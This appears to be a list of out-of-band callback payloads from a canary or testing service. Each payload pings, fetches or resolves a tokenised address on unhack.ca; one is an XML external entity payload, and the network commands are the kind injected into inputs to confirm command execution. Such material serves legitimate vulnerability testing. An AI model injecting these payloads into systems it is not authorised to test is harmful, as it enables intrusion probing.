$ ping -c1 -p 00bfb0796fa3c4ef3073af81045b3f00 unhack.ca
$ curl http://unhack.ca/p/bfb0796fa3c4ef3073af81045b3f
$ dig bfb0796fa3c4ef3073af81045b3f @unhack.ca
$ dig bfb0796fa3c4ef3073af81045b3f.ns.unhack.ca
C:\> nslookup bfb0796fa3c4ef3073af81045b3f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/bfb0796fa3c4ef3073af81045b3f">]> <foo>&xxe;</foo>